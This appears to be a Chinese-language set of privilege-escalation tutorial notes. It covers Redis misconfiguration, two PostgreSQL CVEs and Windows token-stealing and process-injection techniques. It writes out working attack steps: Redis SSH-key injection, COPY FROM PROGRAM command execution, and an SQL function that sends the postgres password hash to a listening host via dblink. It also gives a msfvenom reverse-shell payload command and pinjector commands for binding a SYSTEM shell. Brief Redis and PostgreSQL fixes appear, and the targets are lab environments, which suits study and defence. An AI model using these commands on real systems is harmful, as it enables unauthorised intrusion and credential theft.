案例演示
- 案例1:Redis数据库权限提升-计划任务
- 1、利用计划任务执行命令反弹shell
- 2、写入ssh-keygen公钥然后使用私钥登陆
- 3、权限较低往web物理路径写webshell
- 4、修复方案
- 案例2:PostgreSQL数据库权限提升-漏洞
- 1、PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
- 2、PostgreSQL 提权漏洞(CVE-2018-1058)
- 案例3:Windows2008&7令牌窃取提升-本地
- 案例4:Windows2003&10进程注入提升-本地
- 1、pinjector进程注入工具-针对win2008以前的操作系统
- 2、pexec64 32进程注入工具针对win2008及以后的操作系统-佛系
案例1:Redis数据库权限提升-计划任务
Redis服务因配置不当,可被攻击者恶意利用。黑客借助Redis内置命令,可将现有数据恶意清空;如果redis以root身份运行,黑客可往服务器上写入SSH公钥文件,直接登录服务器。
连接Redis(利用未授权访问漏洞或者用户名密码连接)后,可以利用如下方法提权
- 1、利用计划任务执行命令反弹shell
- 在redis以root权限运行时,可以写crontab来执行命令反弹shell
-
-
- nc监听端口已经反弹回来shell(反弹回shell需要的时间比较久,大概几分钟的样子):
-
- 2、写入ssh-keygen公钥然后使用私钥登陆
- 利用条件
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
- 利用过程
-
- 第九行: set x "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdetfvTA3f2gkKLnyC8cRKNPmN54QlK1a+QFedlN3BzDAWR7BJmv5qMaXdwTa++upI1gHyOb50rNBSddeIbbbND3uQiNpzJOUaLxrITe6QvELc055Ya1NVcsWeGR/B42daBFua+aBQ0bTMvW6Ne3PiVcvoisSgHNKtFPu6mvV+LV9+r1w9nib/iQAba2u/YHf3bC2+SChs1dDdD4wPz4Qf2E4gWrxXWQIJzqDfuHWHjQkqoh/frSwdYp6PHPzToYWXaGDA/JMgMovokCtGNE9ovTMndkdS18nLkoYQowQFBpv7EJOnFBXj9KIsc2jOfytSie0YZjFt4Fj89+0UTetH4hdEqWg5oEELVVXVnjY3vhOcQFsBFgr1vV00tVmm1KVJ4nuJ0L2/xOBsFixr6LVspBWh/0EZDpTBoVVjDBj4QBZRzfo/kiv9jUYFE5olyoxABRHnPBGfw1bXS0IjiK6P7I1Egm1n77g0DMqwjCiLfY6UAznU7R9QN82NKyvAwGs= root@kali \n\n\n" #将公钥写入x键,用"\n\n\n"包裹住公钥,并且跟公钥之间用空格隔开
-
-
- 利用条件
- 3、权限较低往web物理路径写webshell
- 当redis权限不高,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell。
- 利用过程
-
- 4、修复方案
- 绑定需要访问数据库的IP。将127.0.0.1修改为需要访问此数据库的IP地址。
- 设置访问密码。在Redis.conf中requirepass字段后,设置添加访问密码。
- 修改Redis服务运行账号。以较低权限账号运行Redis服务,禁用账号的登录权限。
- 注意:以上操作,均需重启Redis后才能生效。
-
- 参考:
- https://www.cnblogs.com/sq-smile/p/14098579.html
- http://blog.csdn.net/fly_hps/article/details/80937837
案例2:PostgreSQL数据库权限提升-漏洞
提权利用的是漏洞:CVE-2019-9193、CVE-2018-1058
参考:https://vulhub.org/#/environments/postgres/
修复方案:升级版本或打上补丁
1、PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)
PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”,管理员或具有“COPY TO/FROM PROGRAM”权限的用户,可以使用这个特性执行任意命令。
流程:连接-利用漏洞-执行-提权
- <1>首先使用Navicat工具连接到PostgreSQL数据库
-
- <2>执行如下命令
- DROP TABLE IF EXISTS cmd_exec;
- CREATE TABLE cmd_exec(cmd_output text);
- COPY cmd_exec FROM PROGRAM 'id';
- SELECT * FROM cmd_exec;
- FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中。
-
- 我们可以把id换成任意命令执行,比如pwd、ls、cat /etc/passwd等
-
2、PostgreSQL 提权漏洞(CVE-2018-1058)
PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误,导致超级用户在不知情的情况下触发普通用户创建的恶意代码,导致执行一些不可预期的操作。
利用过程
- 1.先通过普通用户vulhub:vulhub的身份登录postgres:
- psql --host your-ip --username vulhub
- 2.执行如下语句后退出:
- CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
select dblink_connect((select 'hostaddr=10.0.0.1 port=5433 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres')));
SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATIL
- CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
- 3.然后我在10.0.0.1上监听5433端口,等待超级用户触发我们留下的这个“后门”。
- nc -lvnp 5433
- 4.(假装自己是超级用户)在靶场机器下,用超级用户的身份执行如下pg_dump命令,导出vulhub这个数据库的内容。
- docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub,
- 5.执行上述命令的同时,“后门”已被触发,10.0.0.1机器上已收到敏感信息。
案例3:Windows2008&7令牌窃取提升-本地
原理:进行远程过程调用时请求提升权限,然后调用它从而生成特权安全令牌以执行特权操作。当系统允许令牌不仅用于进程本身,还用于原始请求进程时,漏洞就会出现。
令牌窃取方式在Windows2008之后的高版本操作系统已经没用了,只能用于一些低版本系统。比如
- Microsoft Windows XP Professional SP3和之前版本
- Windows Server 2003 SP2和之前的版本
- Windows Server 2003 x64和x64 SP2
- Windows Server 2003 (用于基于Itanium的系统SP2和先前版本)
- Windows Server 2008 x32 x64
- Windows Server 2008 (用于基于Itanium的系统)
- Windows Vista SP1和之前的版本
- Windows Vista x64 SP1和之前的版本
本地提权实验 流程:获取会话-利用模块-窃取令牌-提权
演示1:Windows7系统
- <1>在本地msf服务器上(IP:114.215.191.57)执行以下命令,生成反弹shell木马
- msfvenom -p windows/meterpreter/reverse_tcp lhost=114.215.191.57 lport=5577 -f exe -o /root/xx.exe
- <2>在本地msf服务器上执行以下命令,监听端口
-
演示2:Windows2008系统
案例4:Windows2003&10进程注入提升-本地
进程注入提权是本地提权方式的一种较为老的安全技术了,利用的是注入进程的所有者实现权限共享机制,这类技术主要利用在Windows2008之前操作系统上。所以我们需要学习后续的本地提权更多的手法才能针对高版本的系统。
1、pinjector进程注入工具-针对win2008以前的操作系统
下载地址:https://www.tarasco.org/security/Process_Injector/processingector.zip
演示环境:Windows2003
- <1>将pinjector工具上传到目标服务器,运行以下命令
- pinjector.exe //运行命令,查看用法
- pinjector.exe -l //列出可注入的进程
- pinjector.exe -p pid cmd.exe 6688 //注入到系统正常的服务里,监听6688端口(一定要注入services.exe,查看后面是否为system运行)